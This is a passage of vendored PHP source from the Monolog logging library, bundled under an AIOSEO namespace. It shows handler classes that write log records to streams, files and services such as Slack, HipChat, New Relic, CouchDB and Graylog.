protected $level = Logger::DEBUG; protected $bubble = \true; /** * @var FormatterInterface */ protected $formatter; protected $processors = array(); /** * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($level = Logger::DEBUG, $bubble = \true) { $this->setLevel($level); $this->bubble = $bubble; } /** * {@inheritdoc} */ public function isHandling(array $record) { return $record['level'] >= $this->level; } /** * {@inheritdoc} */ public function handleBatch(array $records) { foreach ($records as $record) { $this->handle($record); } } /** * Closes the handler. * * This will be called automatically when the object is destroyed */ public function close() { } /** * {@inheritdoc} */ public function pushProcessor($callback) { if (!\is_callable($callback)) { throw new \InvalidArgumentException('Processors must be valid callables (callback or object with an __invoke method), ' . \var_export($callback, \true) . ' given'); } \array_unshift($this->processors, $callback); return $this; } /** * {@inheritdoc} */ public function popProcessor() { if (!$this->processors) { throw new \LogicException('You tried to pop from an empty processor stack.'); } return \array_shift($this->processors); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { $this->formatter = $formatter; return $this; } /** * {@inheritdoc} */ public function getFormatter() { if (!$this->formatter) { $this->formatter = $this->getDefaultFormatter(); } return $this->formatter; } /** * Sets minimum logging level at which this handler will be triggered. * * @param int|string $level Level or level name * @return self */ public function setLevel($level) { $this->level = Logger::toMonologLevel($level); return $this; } /** * Gets minimum logging level at which this handler will be triggered. * * @return int */ public function getLevel() { return $this->level; } /** * Sets the bubbling behavior. * * @param bool $bubble true means that this handler allows bubbling. * false means that bubbling is not permitted. * @return self */ public function setBubble($bubble) { $this->bubble = $bubble; return $this; } /** * Gets the bubbling behavior. * * @return bool true means that this handler allows bubbling. * false means that bubbling is not permitted. */ public function getBubble() { return $this->bubble; } public function __destruct() { try { $this->close(); } catch (\Exception $e) { // do nothing } catch (\Throwable $e) { // do nothing } } public function reset() { foreach ($this->processors as $processor) { if ($processor instanceof ResettableInterface) { $processor->reset(); } } } /** * Gets the default formatter. * * @return FormatterInterface */ protected function getDefaultFormatter() { return new LineFormatter(); } } monolog/monolog/src/Monolog/Handler/NewRelicHandler.php000066600000014147151733766740017223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; use AIOSEO\Vendor\Monolog\Formatter\NormalizerFormatter; /** * Class to record a log on a NewRelic application. * Enabling New Relic High Security mode may prevent capture of useful information. * * This handler requires a NormalizerFormatter to function and expects an array in $record['formatted'] * * @see https://docs.newrelic.com/docs/agents/php-agent * @see https://docs.newrelic.com/docs/accounts-partnerships/accounts/security/high-security */ class NewRelicHandler extends AbstractProcessingHandler { /** * Name of the New Relic application that will receive logs from this handler. * * @var string */ protected $appName; /** * Name of the current transaction * * @var string */ protected $transactionName; /** * Some context and extra data is passed into the handler as arrays of values. Do we send them as is * (useful if we are using the API), or explode them for display on the NewRelic RPM website? * * @var bool */ protected $explodeArrays; /** * {@inheritDoc} * * @param string $appName * @param bool $explodeArrays * @param string $transactionName */ public function __construct($level = Logger::ERROR, $bubble = \true, $appName = null, $explodeArrays = \false, $transactionName = null) { parent::__construct($level, $bubble); $this->appName = $appName; $this->explodeArrays = $explodeArrays; $this->transactionName = $transactionName; } /** * {@inheritDoc} */ protected function write(array $record) { if (!$this->isNewRelicEnabled()) { throw new MissingExtensionException('The newrelic PHP extension is required to use the NewRelicHandler'); } if ($appName = $this->getAppName($record['context'])) { $this->setNewRelicAppName($appName); } if ($transactionName = $this->getTransactionName($record['context'])) { $this->setNewRelicTransactionName($transactionName); unset($record['formatted']['context']['transaction_name']); } if (isset($record['context']['exception']) && ($record['context']['exception'] instanceof \Exception || \PHP_VERSION_ID >= 70000 && $record['context']['exception'] instanceof \Throwable)) { \newrelic_notice_error($record['message'], $record['context']['exception']); unset($record['formatted']['context']['exception']); } else { \newrelic_notice_error($record['message']); } if (isset($record['formatted']['context']) && \is_array($record['formatted']['context'])) { foreach ($record['formatted']['context'] as $key => $parameter) { if (\is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('context_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('context_' . $key, $parameter); } } } if (isset($record['formatted']['extra']) && \is_array($record['formatted']['extra'])) { foreach ($record['formatted']['extra'] as $key => $parameter) { if (\is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('extra_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('extra_' . $key, $parameter); } } } } /** * Checks whether the NewRelic extension is enabled in the system. * * @return bool */ protected function isNewRelicEnabled() { return \extension_loaded('newrelic'); } /** * Returns the appname where this log should be sent. Each log can override the default appname, set in this * handler's constructor, by providing the appname in it's context. * * @param array $context * @return null|string */ protected function getAppName(array $context) { if (isset($context['appname'])) { return $context['appname']; } return $this->appName; } /** * Returns the name of the current transaction. Each log can override the default transaction name, set in this * handler's constructor, by providing the transaction_name in it's context * * @param array $context * * @return null|string */ protected function getTransactionName(array $context) { if (isset($context['transaction_name'])) { return $context['transaction_name']; } return $this->transactionName; } /** * Sets the NewRelic application that should receive this log. * * @param string $appName */ protected function setNewRelicAppName($appName) { \newrelic_set_appname($appName); } /** * Overwrites the name of the current transaction * * @param string $transactionName */ protected function setNewRelicTransactionName($transactionName) { \newrelic_name_transaction($transactionName); } /** * @param string $key * @param mixed $value */ protected function setNewRelicParameter($key, $value) { if (null === $value || \is_scalar($value)) { \newrelic_add_custom_parameter($key, $value); } else { \newrelic_add_custom_parameter($key, Utils::jsonEncode($value, null, \true)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new NormalizerFormatter(); } } monolog/monolog/src/Monolog/Handler/FormattableHandlerTrait.php000066600000002631151733766740020752 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; /** * Helper trait for implementing FormattableInterface * * This trait is present in monolog 1.x to ease forward compatibility. * * @author Jordi Boggiano */ trait FormattableHandlerTrait { /** * @var FormatterInterface */ protected $formatter; /** * {@inheritdoc} * @suppress PhanTypeMismatchReturn */ public function setFormatter(FormatterInterface $formatter) : HandlerInterface { $this->formatter = $formatter; return $this; } /** * {@inheritdoc} */ public function getFormatter() : FormatterInterface { if (!$this->formatter) { $this->formatter = $this->getDefaultFormatter(); } return $this->formatter; } /** * Gets the default formatter. * * Overwrite this if the LineFormatter is not a good default for your handler. */ protected function getDefaultFormatter() : FormatterInterface { return new LineFormatter(); } } monolog/monolog/src/Monolog/Handler/FingersCrossed/ActivationStrategyInterface.php000066600000001225151733766740024573 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler\FingersCrossed; /** * Interface for activation strategies for the FingersCrossedHandler. * * @author Johannes M. Schmitt */ interface ActivationStrategyInterface { /** * Returns whether the given record activates the handler. * * @param array $record * @return bool */ public function isHandlerActivated(array $record); } monolog/monolog/src/Monolog/Handler/FingersCrossed/ChannelLevelActivationStrategy.php000066600000003666151733766740025246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler\FingersCrossed; use AIOSEO\Vendor\Monolog\Logger; /** * Channel and Error level based monolog activation strategy. Allows to trigger activation * based on level per channel. e.g. trigger activation on level 'ERROR' by default, except * for records of the 'sql' channel; those should trigger activation on level 'WARN'. * * Example: * * * $activationStrategy = new ChannelLevelActivationStrategy( * Logger::CRITICAL, * array( * 'request' => Logger::ALERT, * 'sensitive' => Logger::ERROR, * ) * ); * $handler = new FingersCrossedHandler(new StreamHandler('php://stderr'), $activationStrategy); * * * @author Mike Meessen */ class ChannelLevelActivationStrategy implements ActivationStrategyInterface { private $defaultActionLevel; private $channelToActionLevel; /** * @param int $defaultActionLevel The default action level to be used if the record's category doesn't match any * @param array $channelToActionLevel An array that maps channel names to action levels. */ public function __construct($defaultActionLevel, $channelToActionLevel = array()) { $this->defaultActionLevel = Logger::toMonologLevel($defaultActionLevel); $this->channelToActionLevel = \array_map('AIOSEO\\Vendor\\Monolog\\Logger::toMonologLevel', $channelToActionLevel); } public function isHandlerActivated(array $record) { if (isset($this->channelToActionLevel[$record['channel']])) { return $record['level'] >= $this->channelToActionLevel[$record['channel']]; } return $record['level'] >= $this->defaultActionLevel; } } monolog/monolog/src/Monolog/Handler/FingersCrossed/ErrorLevelActivationStrategy.php000066600000001417151733766740024757 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler\FingersCrossed; use AIOSEO\Vendor\Monolog\Logger; /** * Error level based activation strategy. * * @author Johannes M. Schmitt */ class ErrorLevelActivationStrategy implements ActivationStrategyInterface { private $actionLevel; public function __construct($actionLevel) { $this->actionLevel = Logger::toMonologLevel($actionLevel); } public function isHandlerActivated(array $record) { return $record['level'] >= $this->actionLevel; } } monolog/monolog/src/Monolog/Handler/GelfHandler.php000066600000004033151733766740016361 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Gelf\IMessagePublisher; use AIOSEO\Vendor\Gelf\PublisherInterface; use AIOSEO\Vendor\Gelf\Publisher; use InvalidArgumentException; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\GelfMessageFormatter; /** * Handler to send messages to a Graylog2 (http://www.graylog2.org) server * * @author Matt Lehner * @author Benjamin Zikarsky */ class GelfHandler extends AbstractProcessingHandler { /** * @var Publisher|PublisherInterface|IMessagePublisher the publisher object that sends the message to the server */ protected $publisher; /** * @param PublisherInterface|IMessagePublisher|Publisher $publisher a publisher object * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($publisher, $level = Logger::DEBUG, $bubble = \true) { parent::__construct($level, $bubble); if (!$publisher instanceof Publisher && !$publisher instanceof IMessagePublisher && !$publisher instanceof PublisherInterface) { throw new InvalidArgumentException('Invalid publisher, expected a Gelf\\Publisher, Gelf\\IMessagePublisher or Gelf\\PublisherInterface instance'); } $this->publisher = $publisher; } /** * {@inheritdoc} */ protected function write(array $record) { $this->publisher->publish($record['formatted']); } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new GelfMessageFormatter(); } } monolog/monolog/src/Monolog/Handler/StreamHandler.php000066600000012406151733766740016742 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; /** * Stores to any stream resource * * Can be used to store into php://stderr, remote and local files, etc. * * @author Jordi Boggiano */ class StreamHandler extends AbstractProcessingHandler { protected $stream; protected $url; private $errorMessage; protected $filePermission; protected $useLocking; private $dirCreated; /** * @param resource|string $stream * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes * * @throws \Exception If a missing directory is not buildable * @throws \InvalidArgumentException If stream is not a resource or string */ public function __construct($stream, $level = Logger::DEBUG, $bubble = \true, $filePermission = null, $useLocking = \false) { parent::__construct($level, $bubble); if (\is_resource($stream)) { $this->stream = $stream; } elseif (\is_string($stream)) { $this->url = Utils::canonicalizePath($stream); } else { throw new \InvalidArgumentException('A stream must either be a resource or a string.'); } $this->filePermission = $filePermission; $this->useLocking = $useLocking; } /** * {@inheritdoc} */ public function close() { if ($this->url && \is_resource($this->stream)) { \fclose($this->stream); } $this->stream = null; $this->dirCreated = null; } /** * Return the currently active stream if it is open * * @return resource|null */ public function getStream() { return $this->stream; } /** * Return the stream URL if it was configured with a URL and not an active resource * * @return string|null */ public function getUrl() { return $this->url; } /** * {@inheritdoc} */ protected function write(array $record) { if (!\is_resource($this->stream)) { if (null === $this->url || '' === $this->url) { throw new \LogicException('Missing stream url, the stream can not be opened. This may be caused by a premature call to close().'); } $this->createDir(); $this->errorMessage = null; \set_error_handler(array($this, 'customErrorHandler')); $this->stream = \fopen($this->url, 'a'); if ($this->filePermission !== null) { @\chmod($this->url, $this->filePermission); } \restore_error_handler(); if (!\is_resource($this->stream)) { $this->stream = null; throw new \UnexpectedValueException(\sprintf('The stream or file "%s" could not be opened in append mode: ' . $this->errorMessage, $this->url)); } } if ($this->useLocking) { // ignoring errors here, there's not much we can do about them \flock($this->stream, \LOCK_EX); } $this->streamWrite($this->stream, $record); if ($this->useLocking) { \flock($this->stream, \LOCK_UN); } } /** * Write to stream * @param resource $stream * @param array $record */ protected function streamWrite($stream, array $record) { \fwrite($stream, (string) $record['formatted']); } private function customErrorHandler($code, $msg) { $this->errorMessage = \preg_replace('{^(fopen|mkdir)\\(.*?\\): }', '', $msg); } /** * @param string $stream * * @return null|string */ private function getDirFromStream($stream) { $pos = \strpos($stream, '://'); if ($pos === \false) { return \dirname($stream); } if ('file://' === \substr($stream, 0, 7)) { return \dirname(\substr($stream, 7)); } return null; } private function createDir() { // Do not try to create dir if it has already been tried. if ($this->dirCreated) { return; } $dir = $this->getDirFromStream($this->url); if (null !== $dir && !\is_dir($dir)) { $this->errorMessage = null; \set_error_handler(array($this, 'customErrorHandler')); $status = \mkdir($dir, 0777, \true); \restore_error_handler(); if (\false === $status && !\is_dir($dir)) { throw new \UnexpectedValueException(\sprintf('There is no existing directory at "%s" and its not buildable: ' . $this->errorMessage, $dir)); } } $this->dirCreated = \true; } } monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php000066600000003475151733766740020745 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; /** * Forwards records to multiple handlers suppressing failures of each handler * and continuing through to give every handler a chance to succeed. * * @author Craig D'Amelio */ class WhatFailureGroupHandler extends GroupHandler { /** * {@inheritdoc} */ public function handle(array $record) { if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } foreach ($this->handlers as $handler) { try { $handler->handle($record); } catch (\Exception $e) { // What failure? } catch (\Throwable $e) { // What failure? } } return \false === $this->bubble; } /** * {@inheritdoc} */ public function handleBatch(array $records) { if ($this->processors) { $processed = array(); foreach ($records as $record) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } $processed[] = $record; } $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); } catch (\Exception $e) { // What failure? } catch (\Throwable $e) { // What failure? } } } } monolog/monolog/src/Monolog/Handler/HipChatHandler.php000066600000024723151733766740017034 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Sends notifications through the hipchat api to a hipchat room * * Notes: * API token - HipChat API token * Room - HipChat Room Id or name, where messages are sent * Name - Name used to send the message (from) * notify - Should the message trigger a notification in the clients * version - The API version to use (HipChatHandler::API_V1 | HipChatHandler::API_V2) * * @author Rafael Dohms * @see https://www.hipchat.com/docs/api */ class HipChatHandler extends SocketHandler { /** * Use API version 1 */ const API_V1 = 'v1'; /** * Use API version v2 */ const API_V2 = 'v2'; /** * The maximum allowed length for the name used in the "from" field. */ const MAXIMUM_NAME_LENGTH = 15; /** * The maximum allowed length for the message. */ const MAXIMUM_MESSAGE_LENGTH = 9500; /** * @var string */ private $token; /** * @var string */ private $room; /** * @var string */ private $name; /** * @var bool */ private $notify; /** * @var string */ private $format; /** * @var string */ private $host; /** * @var string */ private $version; /** * @param string $token HipChat API Token * @param string $room The room that should be alerted of the message (Id or Name) * @param string $name Name used in the "from" field. * @param bool $notify Trigger a notification in clients or not * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useSSL Whether to connect via SSL. * @param string $format The format of the messages (default to text, can be set to html if you have html in the messages) * @param string $host The HipChat server hostname. * @param string $version The HipChat API version (default HipChatHandler::API_V1) */ public function __construct($token, $room, $name = 'Monolog', $notify = \false, $level = Logger::CRITICAL, $bubble = \true, $useSSL = \true, $format = 'text', $host = 'api.hipchat.com', $version = self::API_V1) { @\trigger_error('The Monolog\\Handler\\HipChatHandler class is deprecated. You should migrate to Slack and the SlackWebhookHandler / SlackbotHandler, see https://www.atlassian.com/partnerships/slack', \E_USER_DEPRECATED); if ($version == self::API_V1 && !$this->validateStringLength($name, static::MAXIMUM_NAME_LENGTH)) { throw new \InvalidArgumentException('The supplied name is too long. HipChat\'s v1 API supports names up to 15 UTF-8 characters.'); } $connectionString = $useSSL ? 'ssl://' . $host . ':443' : $host . ':80'; parent::__construct($connectionString, $level, $bubble); $this->token = $token; $this->name = $name; $this->notify = $notify; $this->room = $room; $this->format = $format; $this->host = $host; $this->version = $version; } /** * {@inheritdoc} * * @param array $record * @return string */ protected function generateDataStream($record) { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call * * @param array $record * @return string */ private function buildContent($record) { $dataArray = array('notify' => $this->version == self::API_V1 ? $this->notify ? 1 : 0 : ($this->notify ? 'true' : 'false'), 'message' => $record['formatted'], 'message_format' => $this->format, 'color' => $this->getAlertColor($record['level'])); if (!$this->validateStringLength($dataArray['message'], static::MAXIMUM_MESSAGE_LENGTH)) { if (\function_exists('mb_substr')) { $dataArray['message'] = \mb_substr($dataArray['message'], 0, static::MAXIMUM_MESSAGE_LENGTH) . ' [truncated]'; } else { $dataArray['message'] = \substr($dataArray['message'], 0, static::MAXIMUM_MESSAGE_LENGTH) . ' [truncated]'; } } // if we are using the legacy API then we need to send some additional information if ($this->version == self::API_V1) { $dataArray['room_id'] = $this->room; } // append the sender name if it is set // always append it if we use the v1 api (it is required in v1) if ($this->version == self::API_V1 || $this->name !== null) { $dataArray['from'] = (string) $this->name; } return \http_build_query($dataArray); } /** * Builds the header of the API Call * * @param string $content * @return string */ private function buildHeader($content) { if ($this->version == self::API_V1) { $header = "POST /v1/rooms/message?format=json&auth_token={$this->token} HTTP/1.1\r\n"; } else { // needed for rooms with special (spaces, etc) characters in the name $room = \rawurlencode($this->room); $header = "POST /v2/room/{$room}/notification?auth_token={$this->token} HTTP/1.1\r\n"; } $header .= "Host: {$this->host}\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . \strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * Assigns a color to each level of log records. * * @param int $level * @return string */ protected function getAlertColor($level) { switch (\true) { case $level >= Logger::ERROR: return 'red'; case $level >= Logger::WARNING: return 'yellow'; case $level >= Logger::INFO: return 'green'; case $level == Logger::DEBUG: return 'gray'; default: return 'yellow'; } } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record) { parent::write($record); $this->finalizeWrite(); } /** * Finalizes the request by reading some bytes and then closing the socket * * If we do not read some but close the socket too early, hipchat sometimes * drops the request entirely. */ protected function finalizeWrite() { $res = $this->getResource(); if (\is_resource($res)) { @\fread($res, 2048); } $this->closeSocket(); } /** * {@inheritdoc} */ public function handleBatch(array $records) { if (\count($records) == 0) { return \true; } $batchRecords = $this->combineRecords($records); $handled = \false; foreach ($batchRecords as $batchRecord) { if ($this->isHandling($batchRecord)) { $this->write($batchRecord); $handled = \true; } } if (!$handled) { return \false; } return \false === $this->bubble; } /** * Combines multiple records into one. Error level of the combined record * will be the highest level from the given records. Datetime will be taken * from the first record. * * @param array $records * @return array */ private function combineRecords(array $records) { $batchRecord = null; $batchRecords = array(); $messages = array(); $formattedMessages = array(); $level = 0; $levelName = null; $datetime = null; foreach ($records as $record) { $record = $this->processRecord($record); if ($record['level'] > $level) { $level = $record['level']; $levelName = $record['level_name']; } if (null === $datetime) { $datetime = $record['datetime']; } $messages[] = $record['message']; $messageStr = \implode(\PHP_EOL, $messages); $formattedMessages[] = $this->getFormatter()->format($record); $formattedMessageStr = \implode('', $formattedMessages); $batchRecord = array('message' => $messageStr, 'formatted' => $formattedMessageStr, 'context' => array(), 'extra' => array()); if (!$this->validateStringLength($batchRecord['formatted'], static::MAXIMUM_MESSAGE_LENGTH)) { // Pop the last message and implode the remaining messages $lastMessage = \array_pop($messages); $lastFormattedMessage = \array_pop($formattedMessages); $batchRecord['message'] = \implode(\PHP_EOL, $messages); $batchRecord['formatted'] = \implode('', $formattedMessages); $batchRecords[] = $batchRecord; $messages = array($lastMessage); $formattedMessages = array($lastFormattedMessage); $batchRecord = null; } } if (null !== $batchRecord) { $batchRecords[] = $batchRecord; } // Set the max level and datetime for all records foreach ($batchRecords as &$batchRecord) { $batchRecord = \array_merge($batchRecord, array('level' => $level, 'level_name' => $levelName, 'datetime' => $datetime)); } return $batchRecords; } /** * Validates the length of a string. * * If the `mb_strlen()` function is available, it will use that, as HipChat * allows UTF-8 characters. Otherwise, it will fall back to `strlen()`. * * Note that this might cause false failures in the specific case of using * a valid name with less than 16 characters, but 16 or more bytes, on a * system where `mb_strlen()` is unavailable. * * @param string $str * @param int $length * * @return bool */ private function validateStringLength($str, $length) { if (\function_exists('mb_strlen')) { return \mb_strlen($str) <= $length; } return \strlen($str) <= $length; } } monolog/monolog/src/Monolog/Handler/Curl/Util.php000066600000002663151733766740016037 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler\Curl; class Util { private static $retriableErrorCodes = array(\CURLE_COULDNT_RESOLVE_HOST, \CURLE_COULDNT_CONNECT, \CURLE_HTTP_NOT_FOUND, \CURLE_READ_ERROR, \CURLE_OPERATION_TIMEOUTED, \CURLE_HTTP_POST_ERROR, \CURLE_SSL_CONNECT_ERROR); /** * Executes a CURL request with optional retries and exception on failure * * @param resource $ch curl handler * @throws \RuntimeException */ public static function execute($ch, $retries = 5, $closeAfterDone = \true) { while ($retries--) { if (\curl_exec($ch) === \false) { $curlErrno = \curl_errno($ch); if (\false === \in_array($curlErrno, self::$retriableErrorCodes, \true) || !$retries) { $curlError = \curl_error($ch); if ($closeAfterDone) { \curl_close($ch); } throw new \RuntimeException(\sprintf('Curl error (code %s): %s', $curlErrno, $curlError)); } continue; } if ($closeAfterDone) { \curl_close($ch); } break; } } } monolog/monolog/src/Monolog/Handler/CouchDBHandler.php000066600000003375151733766740016763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\JsonFormatter; use AIOSEO\Vendor\Monolog\Logger; /** * CouchDB handler * * @author Markus Bachmann */ class CouchDBHandler extends AbstractProcessingHandler { private $options; public function __construct(array $options = array(), $level = Logger::DEBUG, $bubble = \true) { $this->options = \array_merge(array('host' => 'localhost', 'port' => 5984, 'dbname' => 'logger', 'username' => null, 'password' => null), $options); parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record) { $basicAuth = null; if ($this->options['username']) { $basicAuth = \sprintf('%s:%s@', $this->options['username'], $this->options['password']); } $url = 'http://' . $basicAuth . $this->options['host'] . ':' . $this->options['port'] . '/' . $this->options['dbname']; $context = \stream_context_create(array('http' => array('method' => 'POST', 'content' => $record['formatted'], 'ignore_errors' => \true, 'max_redirects' => 0, 'header' => 'Content-type: application/json'))); if (\false === @\file_get_contents($url, null, $context)) { throw new \RuntimeException(\sprintf('Could not connect to %s', $url)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new JsonFormatter(JsonFormatter::BATCH_MODE_JSON, \false); } } monolog/monolog/src/Monolog/Handler/SlackHandler.php000066600000014330151733766740016542 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; use AIOSEO\Vendor\Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack API * * @author Greg Kedzierski * @see https://api.slack.com/ */ class SlackHandler extends SocketHandler { /** * Slack API token * @var string */ private $token; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $token Slack API token * @param string $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useShortAttachment Whether the the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @throws MissingExtensionException If no OpenSSL PHP extension configured */ public function __construct($token, $channel, $username = null, $useAttachment = \true, $iconEmoji = null, $level = Logger::CRITICAL, $bubble = \true, $useShortAttachment = \false, $includeContextAndExtra = \false, array $excludeFields = array()) { if (!\extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the SlackHandler'); } parent::__construct('ssl://slack.com:443', $level, $bubble); $this->slackRecord = new SlackRecord($channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields, $this->formatter); $this->token = $token; } public function getSlackRecord() { return $this->slackRecord; } public function getToken() { return $this->token; } /** * {@inheritdoc} * * @param array $record * @return string */ protected function generateDataStream($record) { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call * * @param array $record * @return string */ private function buildContent($record) { $dataArray = $this->prepareContentData($record); return \http_build_query($dataArray); } /** * Prepares content data * * @param array $record * @return array */ protected function prepareContentData($record) { $dataArray = $this->slackRecord->getSlackData($record); $dataArray['token'] = $this->token; if (!empty($dataArray['attachments'])) { $dataArray['attachments'] = Utils::jsonEncode($dataArray['attachments']); } return $dataArray; } /** * Builds the header of the API Call * * @param string $content * @return string */ private function buildHeader($content) { $header = "POST /api/chat.postMessage HTTP/1.1\r\n"; $header .= "Host: slack.com\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . \strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * {@inheritdoc} * * @param array $record */ protected function write(array $record) { parent::write($record); $this->finalizeWrite(); } /** * Finalizes the request by reading some bytes and then closing the socket * * If we do not read some but close the socket too early, slack sometimes * drops the request entirely. */ protected function finalizeWrite() { $res = $this->getResource(); if (\is_resource($res)) { @\fread($res, 2048); } $this->closeSocket(); } /** * Returned a Slack message attachment color associated with * provided level. * * @param int $level * @return string * @deprecated Use underlying SlackRecord instead */ protected function getAttachmentColor($level) { \trigger_error('SlackHandler::getAttachmentColor() is deprecated. Use underlying SlackRecord instead.', \E_USER_DEPRECATED); return $this->slackRecord->getAttachmentColor($level); } /** * Stringifies an array of key/value pairs to be used in attachment fields * * @param array $fields * @return string * @deprecated Use underlying SlackRecord instead */ protected function stringify($fields) { \trigger_error('SlackHandler::stringify() is deprecated. Use underlying SlackRecord instead.', \E_USER_DEPRECATED); return $this->slackRecord->stringify($fields); } public function setFormatter(FormatterInterface $formatter) { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter() { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } } monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php000066600000003022151733766740021301 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\ResettableInterface; /** * Base Handler class providing the Handler structure * * Classes extending it should (in most cases) only implement write($record) * * @author Jordi Boggiano * @author Christophe Coevoet */ abstract class AbstractProcessingHandler extends AbstractHandler { /** * {@inheritdoc} */ public function handle(array $record) { if (!$this->isHandling($record)) { return \false; } $record = $this->processRecord($record); $record['formatted'] = $this->getFormatter()->format($record); $this->write($record); return \false === $this->bubble; } /** * Writes the record down to the log of the implementing handler * * @param array $record * @return void */ protected abstract function write(array $record); /** * Processes a record. * * @param array $record * @return array */ protected function processRecord(array $record) { if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } return $record; } } monolog/monolog/src/Monolog/Handler/BrowserConsoleHandler.php000066600000016277151733766740020467 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; /** * Handler sending logs to browser's javascript console with no browser extension required * * @author Olivier Poitrey */ class BrowserConsoleHandler extends AbstractProcessingHandler { protected static $initialized = \false; protected static $records = array(); /** * {@inheritDoc} * * Formatted output may contain some formatting markers to be transferred to `console.log` using the %c format. * * Example of formatted string: * * You can do [[blue text]]{color: blue} or [[green background]]{background-color: green; color: white} */ protected function getDefaultFormatter() { return new LineFormatter('[[%channel%]]{macro: autolabel} [[%level_name%]]{font-weight: bold} %message%'); } /** * {@inheritDoc} */ protected function write(array $record) { // Accumulate records static::$records[] = $record; // Register shutdown handler if not already done if (!static::$initialized) { static::$initialized = \true; $this->registerShutdownFunction(); } } /** * Convert records to javascript console commands and send it to the browser. * This method is automatically called on PHP shutdown if output is HTML or Javascript. */ public static function send() { $format = static::getResponseFormat(); if ($format === 'unknown') { return; } if (\count(static::$records)) { if ($format === 'html') { static::writeOutput(''); } elseif ($format === 'js') { 